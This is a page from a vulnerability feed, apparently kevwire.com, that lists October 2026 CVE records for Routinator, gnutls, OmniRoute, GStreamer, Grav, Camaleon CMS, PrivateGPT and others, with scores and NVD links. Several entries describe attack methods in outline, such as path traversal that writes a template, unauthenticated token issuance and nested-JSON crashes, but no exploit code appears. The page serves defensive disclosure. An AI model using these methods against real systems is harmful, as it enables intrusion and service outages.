### Routinator exits when an rsync URI for a file obtained over RRDP contains a path that cannot be stored on disk, such as too long file names, and folder names that overlap with...
https://kevwire.com/record/CVE-2026-72756
Routinator exits when an rsync URI for a file obtained over RRDP contains a path that cannot be stored on disk, such as too long file names, and folder names that overlap with... (Oct 26, 2026).
Routinator exits when an rsync URI for a file obtained over RRDP contains a path that cannot be stored on disk, such as too long file names, and folder names that overlap with existing file names.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72756).
Sources:
NVD CVE-2026-72756: https://nvd.nist.gov/vuln/detail/CVE-2026-72756
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Routinator exits when an rsync URI for a file obtained over RRDP contains a path that cannot be stored on disk, such as too long file names, and folder names that overlap with existing file names.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When Routinator encounters a CRL with many entries, it may hang or run out of memory.
https://kevwire.com/record/CVE-2026-72754
When Routinator encounters a CRL with many entries, it may hang or run out of memory. (Oct 26, 2026).
When Routinator encounters a CRL with many entries, it may hang or run out of memory. If Routinator encounters a CRL file with the wrong encoding, it may exit.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72754).
Sources:
NVD CVE-2026-72754: https://nvd.nist.gov/vuln/detail/CVE-2026-72754
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
When Routinator encounters a CRL with many entries, it may hang or run out of memory. If Routinator encounters a CRL file with the wrong encoding, it may exit.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When Routinator encounters an RRDP notification file with gaps in the delta entries, it is still accepted and parsed, potentially leading to missing data.
https://kevwire.com/record/CVE-2026-72753
When Routinator encounters an RRDP notification file with gaps in the delta entries, it is still accepted and parsed, potentially leading to missing data. (Oct 26, 2026).
When Routinator encounters an RRDP notification file with gaps in the delta entries, it is still accepted and parsed, potentially leading to missing data. If it encounters too many delta entries it may run out of memory.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72753).
Sources:
NVD CVE-2026-72753: https://nvd.nist.gov/vuln/detail/CVE-2026-72753
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
When Routinator encounters an RRDP notification file with gaps in the delta entries, it is still accepted and parsed, potentially leading to missing data. If it encounters too many delta entries it may run out of memory.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When the vSolution Matrix feature is enabled, affected devices may make current screen content available through an unauthenticated RTSP/RTP stream to hosts on the same network...
https://kevwire.com/record/CVE-2026-70379
When the vSolution Matrix feature is enabled, affected devices may make current screen content available through an unauthenticated RTSP/RTP stream to hosts on the same network... (Oct 26, 2026).
When the vSolution Matrix feature is enabled, affected devices may make current screen content available through an unauthenticated RTSP/RTP stream to hosts on the same network segment. The stream is not encrypted, which may allow an unauthenticated host to view or capture presentation content where network access is not otherwise restricted. This vulnerability only affects devices with the vSolution Matrix feature enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70379).
Sources:
NVD CVE-2026-70379: https://nvd.nist.gov/vuln/detail/CVE-2026-70379
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
When the vSolution Matrix feature is enabled, affected devices may make current screen content available through an unauthenticated RTSP/RTP stream to hosts on the same network segment. The stream is not encrypted, which may allow an unauthenticated host to view or capture presentation content where network access is not otherwise restricted. This vulnerability only affects devices with the vSolution Matrix feature enabled.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform.
https://kevwire.com/record/CVE-2026-65825
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. (Oct 23, 2026).
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. In versions 2.1.0 and prior, a returning client's six-digit booking PIN can be brute-forced online in the victim tenant. A successful guess yields the client's booking access token, granting access to that client's appointment tunnel, which holds their end-to-end-encrypted appointment data, and the ability to act as the client, for example adding or cancelling appointments in the tunnel. The bypass is cross-tenant: state owned by one tenant removes an authentication protection of a different tenant. This crossing of the tenant boundary is the basis for the scope-changed vector. At time of publication, there are no publicly available patches.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65825).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65825&date=2026-10-25).
Sources:
NVD CVE-2026-65825: https://nvd.nist.gov/vuln/detail/CVE-2026-65825
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65825&date=2026-10-25
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. In versions 2.1.0 and prior, a returning client's six-digit booking PIN can be brute-forced online in the victim tenant. A successful guess yields the client's booking access token, granting access to that client's appointment tunnel, which holds their end-to-end-encrypted appointment data, and the ability to act as the client, for example adding or cancelling appointments in the tunnel. The bypass is cross-tenant: state owned by one tenant removes an authentication protection of a different tenant. This crossing of the tenant boundary is the basis for the scope-changed vector. At time of publication, there are no publicly available patches.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### e-SIC Livre (esiclivre) v0.2.2 and earlier contains an uncontrolled resource consumption vulnerability in restrito/inc/captcha.php.
https://kevwire.com/record/CVE-2026-50787
e-SIC Livre (esiclivre) v0.2.2 and earlier contains an uncontrolled resource consumption vulnerability in restrito/inc/captcha.php. (Oct 23, 2026).
e-SIC Livre (esiclivre) v0.2.2 and earlier contains an uncontrolled resource consumption vulnerability in restrito/inc/captcha.php. The application uses user-supplied parameters (l, a, tf, ql) without validation to generate CAPTCHA images, allowing remote attackers to cause denial of service via excessive memory and CPU consumption.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-50787).
Sources:
NVD CVE-2026-50787: https://nvd.nist.gov/vuln/detail/CVE-2026-50787
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
e-SIC Livre (esiclivre) v0.2.2 and earlier contains an uncontrolled resource consumption vulnerability in restrito/inc/captcha.php. The application uses user-supplied parameters (l, a, tf, ql) without validation to generate CAPTCHA images, allowing remote attackers to cause denial of service via excessive memory and CPU consumption.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated...
https://kevwire.com/record/CVE-2026-42010
A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated... (May 7, 2026).
A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated usernames. A remote attacker could exploit this by sending a specially crafted username, leading to an authentication bypass. This vulnerability allows an attacker to gain unauthorized access by circumventing the authentication process.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42010).
Sources:
NVD CVE-2026-42010: https://nvd.nist.gov/vuln/detail/CVE-2026-42010
Vendor advisory (via NVD references): https://access.redhat.com/security/cve/CVE-2026-42010
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated usernames. A remote attacker could exploit this by sending a specially crafted username, leading to an authentication bypass. This vulnerability allows an attacker to gain unauthorized access by circumventing the authentication process.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic.
https://kevwire.com/record/CVE-2026-42009
A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. (May 18, 2026).
A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42009).
Sources:
NVD CVE-2026-42009: https://nvd.nist.gov/vuln/detail/CVE-2026-42009
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### There is s denial of service vulnerability in Esri ArcGIS Server versions 12.0 and prior that may allow a remote, unauthenticated attacker to supply crafted requests that may,...
https://kevwire.com/record/CVE-2026-33521
There is s denial of service vulnerability in Esri ArcGIS Server versions 12.0 and prior that may allow a remote, unauthenticated attacker to supply crafted requests that may,... (Oct 26, 2026).
There is s denial of service vulnerability in Esri ArcGIS Server versions 12.0 and prior that may allow a remote, unauthenticated attacker to supply crafted requests that may, under exceptional circumstances, consume all available worker threads and deny service to users. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33521).
Sources:
NVD CVE-2026-33521: https://nvd.nist.gov/vuln/detail/CVE-2026-33521
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
There is s denial of service vulnerability in Esri ArcGIS Server versions 12.0 and prior that may allow a remote, unauthenticated attacker to supply crafted requests that may, under exceptional circumstances, consume all available worker threads and deny service to users. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OmniRoute 3.8.50 before 3.8.52 contains a missing authentication vulnerability that allows unauthenticated attackers to issue sync tokens via POST /api/sync/tokens when...
https://kevwire.com/record/CVE-2026-116634
OmniRoute 3.8.50 before 3.8.52 contains a missing authentication vulnerability that allows unauthenticated attackers to issue sync tokens via POST /api/sync/tokens when... (Oct 26, 2026).
OmniRoute 3.8.50 before 3.8.52 contains a missing authentication vulnerability that allows unauthenticated attackers to issue sync tokens via POST /api/sync/tokens when requireLogin is disabled. Attackers can use the issued token against GET /api/sync/bundle to retrieve decrypted provider credentials and plaintext API keys, with tokens persisting after login is re-enabled.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116634).
Sources:
NVD CVE-2026-116634: https://nvd.nist.gov/vuln/detail/CVE-2026-116634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
OmniRoute 3.8.50 before 3.8.52 contains a missing authentication vulnerability that allows unauthenticated attackers to issue sync tokens via POST /api/sync/tokens when requireLogin is disabled. Attackers can use the issued token against GET /api/sync/bundle to retrieve decrypted provider credentials and plaintext API keys, with tokens persisting after login is re-enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in GStreamer Editing Services (gst-editing-services). A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition.
https://kevwire.com/record/CVE-2026-116612
A flaw was found in GStreamer Editing Services (gst-editing-services). A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition. (Oct 26, 2026).
A flaw was found in GStreamer Editing Services (gst-editing-services). A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition. When such a file is loaded, either explicitly by an editing application or automatically by a media player or file-manager thumbnailing service that uses GStreamer autoplugging, the pipeline description is parsed and instantiated without restriction on which elements may be used or which properties may be set. A remote attacker who can deliver a crafted project file to a victim's system can trigger reading or writing of arbitrary local files, issue outbound network requests to attacker-controlled servers, or cause the application to crash. Under certain conditions the file-write capability may be leveraged to achieve code execution.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116612).
Sources:
NVD CVE-2026-116612: https://nvd.nist.gov/vuln/detail/CVE-2026-116612
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A flaw was found in GStreamer Editing Services (gst-editing-services). A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition. When such a file is loaded, either explicitly by an editing application or automatically by a media player or file-manager thumbnailing service that uses GStreamer autoplugging, the pipeline description is parsed and instantiated without restriction on which elements may be used or which properties may be set. A remote attacker who can deliver a crafted project file to a victim's system can trigger reading or writing of arbitrary local files, issue outbound network requests to attacker-controlled servers, or cause the application to crash. Under certain conditions the file-write capability may be leveraged to achieve code execution.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in FastStone Image Viewer up to 8.5. Affected is the function FUN_0062d96c of the component Box-Average Downsampler Engine.
https://kevwire.com/record/CVE-2026-116463
A vulnerability was identified in FastStone Image Viewer up to 8.5. Affected is the function FUN_0062d96c of the component Box-Average Downsampler Engine. (Oct 26, 2026).
A vulnerability was identified in FastStone Image Viewer up to 8.5. Affected is the function FUN_0062d96c of the component Box-Average Downsampler Engine. The manipulation leads to out-of-bounds read. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116463).
Sources:
NVD CVE-2026-116463: https://nvd.nist.gov/vuln/detail/CVE-2026-116463
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
A vulnerability was identified in FastStone Image Viewer up to 8.5. Affected is the function FUN_0062d96c of the component Box-Average Downsampler Engine. The manipulation leads to out-of-bounds read. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this issue is the function mysql_query of the file...
https://kevwire.com/record/CVE-2026-116049
A flaw has been found in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this issue is the function mysql_query of the file... (Oct 25, 2026).
A flaw has been found in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this issue is the function mysql_query of the file /source/registerform2.php of the component Registration Wizard. Executing a manipulation of the argument university/institute/branch/degree/status/cpi/semester/experience can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116049).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116049&date=2026-10-25).
Sources:
NVD CVE-2026-116049: https://nvd.nist.gov/vuln/detail/CVE-2026-116049
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116049&date=2026-10-25
A flaw has been found in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this issue is the function mysql_query of the file /source/registerform2.php of the component Registration Wizard. Executing a manipulation of the argument university/institute/branch/degree/status/cpi/semester/experience can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav 2.0.15 before 2.2.13 contains an allowlist bypass vulnerability that allows page editors to invoke arbitrary public static methods by relocating data-*@ directives with...
https://kevwire.com/record/CVE-2026-116019
Grav 2.0.15 before 2.2.13 contains an allowlist bypass vulnerability that allows page editors to invoke arbitrary public static methods by relocating data-*@ directives with... (Oct 24, 2026).
Grav 2.0.15 before 2.2.13 contains an allowlist bypass vulnerability that allows page editors to invoke arbitrary public static methods by relocating data-*@ directives with unset-name@ or integer keys. Attackers with page-edit permission can embed crafted fields in Flex form overrides in page frontmatter to call methods like Folder::delete or Utils::download, deleting directories, overwriting files, or reading files outside the page tree.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116019).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116019&date=2026-10-25).
Sources:
NVD CVE-2026-116019: https://nvd.nist.gov/vuln/detail/CVE-2026-116019
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116019&date=2026-10-25
Grav 2.0.15 before 2.2.13 contains an allowlist bypass vulnerability that allows page editors to invoke arbitrary public static methods by relocating data-*@ directives with unset-name@ or integer keys. Attackers with page-edit permission can embed crafted fields in Flex form overrides in page frontmatter to call methods like Folder::delete or Utils::download, deleting directories, overwriting files, or reading files outside the page tree.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crow before 1.3.4 contains an uncontrolled recursion vulnerability in crow::json::load() that allows remote unauthenticated attackers to crash the server by sending deeply nested...
https://kevwire.com/record/CVE-2026-116011
Crow before 1.3.4 contains an uncontrolled recursion vulnerability in crow::json::load() that allows remote unauthenticated attackers to crash the server by sending deeply nested... (Oct 24, 2026).
Crow before 1.3.4 contains an uncontrolled recursion vulnerability in crow::json::load() that allows remote unauthenticated attackers to crash the server by sending deeply nested JSON. Attackers can send a request body with thousands of nested objects to exhaust the worker thread stack, terminating the process and dropping all connections.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116011).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116011&date=2026-10-25).
Sources:
NVD CVE-2026-116011: https://nvd.nist.gov/vuln/detail/CVE-2026-116011
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116011&date=2026-10-25
Crow before 1.3.4 contains an uncontrolled recursion vulnerability in crow::json::load() that allows remote unauthenticated attackers to crash the server by sending deeply nested JSON. Attackers can send a request body with thousands of nested objects to exhaust the worker thread stack, terminating the process and dropping all connections.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Camaleon CMS before 2.9.3 contains a path traversal vulnerability that allows users with only the media permission to write arbitrary files by supplying ../ sequences in the name...
https://kevwire.com/record/CVE-2026-116009
Camaleon CMS before 2.9.3 contains a path traversal vulnerability that allows users with only the media permission to write arbitrary files by supplying ../ sequences in the name... (Oct 24, 2026).
Camaleon CMS before 2.9.3 contains a path traversal vulnerability that allows users with only the media permission to write arbitrary files by supplying ../ sequences in the name parameter. Attackers can send a base64 data: URI to the crop_url media action to write an ERB template into a theme's views directory, which executes when rendered.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116009).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116009&date=2026-10-25).
Sources:
NVD CVE-2026-116009: https://nvd.nist.gov/vuln/detail/CVE-2026-116009
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116009&date=2026-10-25
Camaleon CMS before 2.9.3 contains a path traversal vulnerability that allows users with only the media permission to write arbitrary files by supplying ../ sequences in the name parameter. Attackers can send a base64 data: URI to the crop_url media action to write an ERB template into a theme's views directory, which executes when rendered.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in Zylon PrivateGPT 1.0.0/1.0.1. This vulnerability affects the function load_file_from_uri of the file private_gpt/server/ingest/uri_loader.py...
https://kevwire.com/record/CVE-2026-116000
A security flaw has been discovered in Zylon PrivateGPT 1.0.0/1.0.1. This vulnerability affects the function load_file_from_uri of the file private_gpt/server/ingest/uri_loader.py... (Oct 25, 2026).
A security flaw has been discovered in Zylon PrivateGPT 1.0.0/1.0.1. This vulnerability affects the function load_file_from_uri of the file private_gpt/server/ingest/uri_loader.py of the component URI Artifact Loader. Performing a manipulation of the argument Value results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116000).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116000&date=2026-10-25).
Sources:
NVD CVE-2026-116000: https://nvd.nist.gov/vuln/detail/CVE-2026-116000
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116000&date=2026-10-25
A security flaw has been discovered in Zylon PrivateGPT 1.0.0/1.0.1. This vulnerability affects the function load_file_from_uri of the file private_gpt/server/ingest/uri_loader.py of the component URI Artifact Loader. Performing a manipulation of the argument Value results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM is an inference and serving engine for large language models.
